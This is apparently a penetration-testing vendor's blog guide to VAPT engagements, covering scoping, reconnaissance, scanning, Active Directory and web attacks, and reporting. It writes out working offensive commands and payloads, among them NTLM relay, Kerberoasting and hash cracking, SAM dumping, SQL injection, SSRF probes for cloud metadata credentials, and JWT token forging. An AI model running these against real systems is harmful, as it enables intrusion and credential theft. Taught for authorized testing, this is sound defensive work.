Date
December 17, 2025
Author
Karan Patel
,
CEO

Security teams use the term VAPT constantly, but the two disciplines it bundles together are quite different in purpose, methodology, and outcome. Vulnerability assessment tells you what is broken. Penetration testing tells you how badly it can be exploited. When combined into a structured VAPT engagement, they give organizations a complete picture of their attack surface, from surface-level misconfigurations to deep exploitation chains that a real adversary would follow.

This guide breaks down how each phase works, what tools practitioners rely on, what real commands look like in practice, and how to structure a VAPT engagement that produces findings your remediation team can actually act on.

What Is VAPT? Defining the Two Disciplines

Vulnerability Assessment

A vulnerability assessment is a systematic scan and review of an environment to identify known weaknesses. It is largely automated and covers a broad surface area quickly. The goal is enumeration, not exploitation. You are cataloguing CVEs, misconfigurations, outdated software versions, and exposure points across hosts, services, and applications.

Penetration Testing

Penetration testing is adversarial simulation. A tester takes findings (or independently discovers targets) and attempts to exploit them to measure real-world impact. This is manual, creative, and logic-driven. It answers the question: if a threat actor started here, how far could they go?

Why Combining Them Matters

Running only a vulnerability scan gives you a list. Running only a penetration test without prior enumeration wastes time rediscovering what a scanner could have caught in an hour. A proper VAPT engagement layers both, using assessment outputs to prioritize penetration testing effort and using penetration testing to validate and contextualize scanner findings.

If your organization needs a structured VAPT engagement that goes beyond automated scanning, the security engineers at Redfox Cybersecurity deliver full-scope assessments aligned to your threat model and compliance requirements.

VAPT Engagement Phases: A Practitioner's Breakdown

Phase 1: Scoping and Rules of Engagement

Before any tool runs, scope must be defined. This includes IP ranges, domains, excluded hosts, testing windows, escalation contacts, and what counts as in-bounds activity. A poorly scoped engagement causes false starts, legal risk, and wasted effort.

Key scoping decisions:

  • Internal vs. external testing
  • Black box, grey box, or white box access
  • Web applications, APIs, infrastructure, or all three
  • Credential provisioning for authenticated testing

Phase 2: Reconnaissance and OSINT

Passive and active reconnaissance feeds the rest of the engagement. Tools like amass, subfinder, and theHarvester enumerate subdomains, ASN ownership, leaked credentials, and infrastructure patterns.

amass enum -passive -d targetdomain.com -o amass_output.txt
subfinder -d targetdomain.com -o subfinder_output.txt
cat amass_output.txt subfinder_output.txt | sort -u > all_subdomains.txt

[cta]

theHarvester -d targetdomain.com -b google,bing,crtsh,dnsdumpster -f harvester_report

[cta]

This combined output becomes your initial asset list for scanning.

Phase 3: Vulnerability Scanning

Authenticated scanning produces dramatically more accurate results than unauthenticated scanning. Tools like Nessus, OpenVAS, and Nuclei are used depending on the target type.

For network-layer scanning with Nessus, a credentialed scan policy with SSH or WMI authentication will surface local privilege escalation opportunities, patch gaps, and insecure service configurations that unauthenticated scans completely miss.

For web application scanning, Nuclei with community and custom templates is the professional standard:

nuclei -l all_subdomains.txt -t ~/nuclei-templates/ -severity medium,high,critical \
 -o nuclei_results.txt -stats -rate-limit 50

[cta]

For specific CVE validation, targeted Nuclei templates keep noise low:

nuclei -u https://target.example.com -t cves/ -tags log4j,spring,apache -o cve_findings.txt

[cta]

Phase 4: Manual Penetration Testing

This is where VAPT separates from a pure scan-and-report workflow. Automated tools generate findings. Manual testing validates, chains, and escalates them.

Network Penetration Testing: Tools and Techniques

Port Scanning and Service Enumeration

Nmap remains the foundation for network-layer enumeration. A properly structured scan captures version information, default scripts, and OS fingerprints without triggering simple rate-based detection:

nmap -sS -sV -sC -O -T3 -p- --open -oA nmap_full_scan 10.10.10.0/24

[cta]

For stealth-sensitive environments, a fragmented packet scan with decoys reduces detection probability:

nmap -sS -T2 -f --mtu 24 -D RND:10 -p 22,80,443,445,3389,8080,8443 10.10.10.50

[cta]

SMB Enumeration and Exploitation

SMB is one of the most consistently exploitable services in internal network assessments. NetExec (formerly CrackMapExec) is the current professional standard for SMB enumeration and lateral movement testing:

netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
netexec smb 10.10.10.0/24 -u '' -p '' --shares
netexec smb 10.10.10.0/24 -u administrator -p 'Password123' --sam

[cta]

Where SMB signing is disabled, NTLM relay attacks are almost always viable. Responder and ntlmrelayx are used together for this technique:

# Terminal 1: Capture and relay hashes
responder -I eth0 -dwv

# Terminal 2: Relay to targets without SMB signing
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i

[cta]

The security team at Redfox Cybersecurity routinely identifies NTLM relay exposures during internal network assessments that automated scanners flag as informational but which actually lead to full domain compromise.

Active Directory Attack Paths

Modern internal VAPT engagements are largely Active Directory exercises. BloodHound with the SharpHound collector maps attack paths from a standard user account to Domain Admin, often revealing relationships invisible in flat scanner output:

# Run SharpHound collector on domain-joined host
.\SharpHound.exe -c All --zipfilename bloodhound_collection.zip

# Import ZIP into BloodHound and query for DA paths
# Cypher query: Shortest paths to Domain Admins from owned principals
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

[cta]

Kerberoasting is another high-priority finding in AD environments. Service accounts with weak passwords are almost always crackable offline:

impacket-GetUserSPNs corp.local/jdoe:Password1 -dc-ip 10.10.10.1 \
 -request -outputfile kerberoast_hashes.txt

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
 -r /usr/share/hashcat/rules/best64.rule

[cta]

Web Application Penetration Testing: Methodology and Payloads

Mapping the Application Attack Surface

Before testing logic, enumerate every endpoint, parameter, and input vector. ffuf for directory and parameter fuzzing, combined with Burp Suite for traffic interception, gives complete coverage:

ffuf -u https://target.example.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
 -mc 200,301,302,403 -t 40 -o ffuf_dirs.json

# Parameter fuzzing on identified endpoints
ffuf -u "https://target.example.com/api/v1/user?FUZZ=test" \
 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
 -mc 200,302 -t 20

[cta]

SQL Injection: Manual Detection and Exploitation

Automated scanners miss context-dependent SQL injection. Manual testing with crafted payloads in Burp Suite catches what SQLMap misses. Start with error-based detection:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
' UNION SELECT NULL, NULL, NULL--

Once a valid injection point is confirmed, sqlmap handles extraction with precision:

sqlmap -r request.txt --level=5 --risk=3 --dbms=mysql \
 --technique=BEUSTQ --batch --dump --output-dir=./sqlmap_output

[cta]

Server-Side Request Forgery (SSRF)

SSRF is one of the highest-impact web application vulnerabilities in cloud-hosted environments. An SSRF finding in AWS or GCP environments can lead to metadata credential theft and full cloud account compromise. Test with a Burp Collaborator payload or an out-of-band callback server:

# Probe for AWS IMDS access via SSRF
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata endpoint
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

If the application fetches those URLs and returns content, the impact is critical. Cloud credential exposure from SSRF is an increasingly common finding in Redfox Cybersecurity web application assessments, and it is consistently underestimated until a tester demonstrates live credential extraction.

JWT Manipulation and Authentication Bypass

JSON Web Tokens with weak signing implementations are a persistent finding. Common attack vectors include algorithm confusion (alg: none), weak HMAC secrets, and RS256-to-HS256 confusion attacks:

import jwt
import base64

# Algorithm confusion: switch RS256 to HS256 using public key as secret
with open("public_key.pem", "r") as f:
   public_key = f.read()

payload = {"sub": "admin", "role": "administrator", "iat": 1700000000}
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
print(forged_token)

[cta]

Cloud and API Security Testing in VAPT Engagements

AWS Enumeration Post-Credential Compromise

Once credentials are obtained (via SSRF, exposed .env files, or repository leaks), awscli and pacu enumerate the blast radius:

# Enumerate accessible services and permissions
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name compromised-user
aws s3 ls --recursive s3://target-bucket/
aws ec2 describe-instances --region us-east-1 --output json | jq '.Reservations[].Instances[] | {InstanceId, PublicIpAddress, Tags}'

[cta]

API Security Testing with Arjun and Custom Scripts

REST APIs often expose undocumented parameters and broken object-level authorization (BOLA/IDOR). Arjun discovers hidden parameters automatically:

arjun -u "https://api.target.com/v1/user/profile" \
 -m GET --stable -oJ arjun_params.json

[cta]

Manual IDOR testing is then performed by substituting object identifiers across accounts:

GET /api/v1/orders/10482 HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_for_user_B>

[cta]

If this returns user A's order data while authenticated as user B, you have a confirmed BOLA finding with direct business impact.

Reporting: Turning Findings Into Remediation Roadmaps

What a High-Quality VAPT Report Contains

A VAPT report is not a scanner export. It is a prioritized, evidence-backed document that a CISO can present to a board and a developer can act on without ambiguity. Every finding must include:

  • Vulnerability title and CVE reference where applicable
  • CVSS score with vector string so severity is reproducible and auditable
  • Proof-of-concept evidence: screenshots, HTTP request/response pairs, or command output
  • Business impact statement tied to the specific finding, not generic boilerplate
  • Remediation guidance that is specific and actionable, not "update your software"
  • Retest criteria so the remediation team knows exactly what evidence closes the finding

CVSS Scoring in Practice

A finding is not simply "high" or "critical" without justification. CVSS v3.1 base vectors must be documented:

CVSSv3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critical)

Breakdown:
 Attack Vector: Network
 Attack Complexity: Low
 Privileges Required: None
 User Interaction: None
 Scope: Changed
 Confidentiality: High
 Integrity: High
 Availability: High

[cta]

This level of rigor is what separates a Redfox Cybersecurity deliverable from a scan-and-stamp PDF. Clients receive findings they can triage, track in their vulnerability management platform, and validate after remediation.

VAPT Frequency and Compliance Alignment

How Often Should You Run VAPT?

Regulatory frameworks and security standards are converging on continuous or high-frequency testing rather than annual point-in-time assessments:

  • PCI DSS 4.0 requires quarterly external vulnerability scans and annual penetration testing, plus testing after significant infrastructure changes
  • ISO 27001 expects regular vulnerability assessments as part of the risk management cycle
  • SOC 2 Type II auditors look for evidence of ongoing vulnerability management and periodic penetration testing

Beyond compliance, any significant change to your environment (new cloud deployment, major application release, M&A activity, remote access expansion) is a trigger for targeted VAPT coverage. Waiting for the annual cycle after a major infrastructure change leaves a wide exploitation window.

Integrating VAPT Into Your Security Program

Point-in-time VAPT is a starting point. Mature security programs integrate findings into their vulnerability management platform, track remediation SLAs by severity, and use VAPT results to inform threat modeling for the next development cycle. Penetration testing findings should feed directly into your secure development lifecycle, not sit in a PDF on a shared drive.

Key Takeaways

VAPT is not a checkbox exercise. When executed properly, it is an adversarial pressure test of your security controls, your detection capability, and your response readiness. The difference between a scan report and a genuine VAPT engagement is the depth of manual testing, the quality of exploitation evidence, and the specificity of remediation guidance.

The technical techniques covered here, from NTLM relay and Kerberoasting to SSRF-based cloud credential theft and JWT algorithm confusion, represent the actual tradecraft used in professional engagements. Knowing what testers look for is the first step toward understanding where your defenses need to improve.

If you are ready to move beyond automated scanning and commission a structured VAPT engagement with documented methodology, scoped exploitation, and board-ready reporting, the team at Redfox Cybersecurity is built for exactly that kind of work.

Copy Code